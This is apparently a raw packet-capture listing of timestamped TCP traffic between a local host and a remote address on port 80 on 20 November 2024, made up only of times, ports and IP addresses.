                                                                                                                                                              Nov 20, 2024 11:21:46.015942097 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.016038895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016048908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016057968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016096115 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.016154051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016174078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016176939 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.016184092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016196012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016205072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016241074 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.016407967 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.016602039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016613007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016622066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016987085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.016997099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017005920 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017016888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017026901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017030954 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017039061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017049074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017057896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017062902 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017079115 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017083883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017101049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017111063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017119884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017119884 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017144918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017148972 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017158031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017168045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017174959 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017177105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017189026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017195940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017200947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017215967 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017227888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017236948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017246008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017255068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017283916 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017301083 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017333031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017343044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017364025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017479897 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.017813921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.017931938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.021325111 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.021334887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.021343946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.021397114 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.021426916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.021478891 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.022344112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022464991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022497892 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.022545099 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.022584915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022594929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022598982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022603035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022672892 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.022881031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022890091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022898912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022907972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.022952080 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.023021936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023031950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023040056 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023111105 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.023133039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023143053 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023152113 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023160934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023201942 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.023462057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023606062 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.023631096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.023698092 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.023760080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024013996 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024051905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024075985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024085045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024092913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024143934 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024187088 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024209976 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024219990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024283886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024291039 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024293900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024429083 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024626970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024636030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024694920 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024807930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024817944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024827003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024846077 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024884939 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.024975061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024985075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.024993896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025002956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025052071 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.025456905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025466919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025475025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025484085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025496960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025505066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025568962 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.025623083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025631905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025641918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025693893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.025702000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025712013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025721073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025732040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025741100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025748968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025757074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025760889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025769949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025780916 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.025825977 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.025903940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025914907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.025966883 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.027456999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.027544975 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.027607918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.027687073 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.028419971 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028523922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.028577089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028587103 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028672934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028676987 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.028683901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028693914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028702974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028712988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028716087 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028721094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028795004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.028816938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028826952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028836012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.028878927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.028955936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029184103 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029196978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029206038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029215097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029223919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029256105 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.029288054 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.029505968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029670000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029679060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029681921 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.029792070 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.029804945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029814005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029953003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.029958010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030078888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030087948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030097008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030143023 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030220032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030230045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030240059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030359030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030369043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030371904 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030379057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030404091 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030436993 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030750990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.030891895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.030905962 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031049967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031095028 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031183958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031210899 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031284094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031603098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031615019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031697989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031757116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031877041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031902075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031913042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031923056 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.031958103 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.031996965 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.032047987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032058001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032099009 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.032269001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032284021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032345057 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.032433033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032447100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032500029 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.032850027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032860041 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032867908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032876015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032885075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032900095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.032918930 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.032948971 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.033138037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.034931898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.036587000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.036595106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.036602974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.036700010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.036833048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.036941051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037040949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.037229061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037237883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037246943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037365913 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.037651062 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037661076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037770987 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.037844896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037853003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037861109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037868023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.037918091 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.038235903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038244963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038254023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038260937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038264036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038294077 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.038376093 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.038798094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038806915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.038885117 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039057970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039066076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039135933 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039323092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039338112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039340973 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039350033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039357901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039371967 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039412975 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039657116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039729118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039737940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039767027 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039819956 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.039973974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039983034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.039993048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.040000916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.040040970 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.040498018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041165113 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041176081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041235924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041265011 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.041306019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.041325092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041336060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041343927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.041389942 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.041812897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042000055 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.042026997 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042061090 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042069912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042081118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042088985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042145967 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.042243004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042340040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042503119 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.042525053 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042536020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.042732000 CET4979980192.168.2.8150.241.91.218
